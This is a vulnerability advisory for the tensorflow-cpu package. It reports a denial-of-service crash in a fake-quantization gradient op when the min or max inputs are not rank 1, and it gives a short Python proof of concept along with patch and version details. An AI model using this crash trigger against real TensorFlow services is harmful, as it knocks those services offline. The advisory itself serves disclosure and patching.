PT-2026-59952 · Pypi · Tensorflow-Cpu
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
When
tf.quantization.fake quant with min max vars per channel gradient receives input min or max of rank other than 1, it gives a CHECK fail that can trigger a denial of service attack.python
import tensorflow as tf
arg 0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg 1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg 2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg 3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg 4=8
arg 5=False
arg 6=None
tf.quantization.fake quant with min max vars per channel gradient(gradients=arg 0,
inputs=arg 1, min=arg 2, max=arg 3, num bits=arg 4,
narrow range=arg 5, name=arg 6)Patches
We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by
- 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
- Neophytos Christou, Secure Systems Labs, Brown University
Fix
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Related Identifiers
Affected Products
Tensorflow-Cpu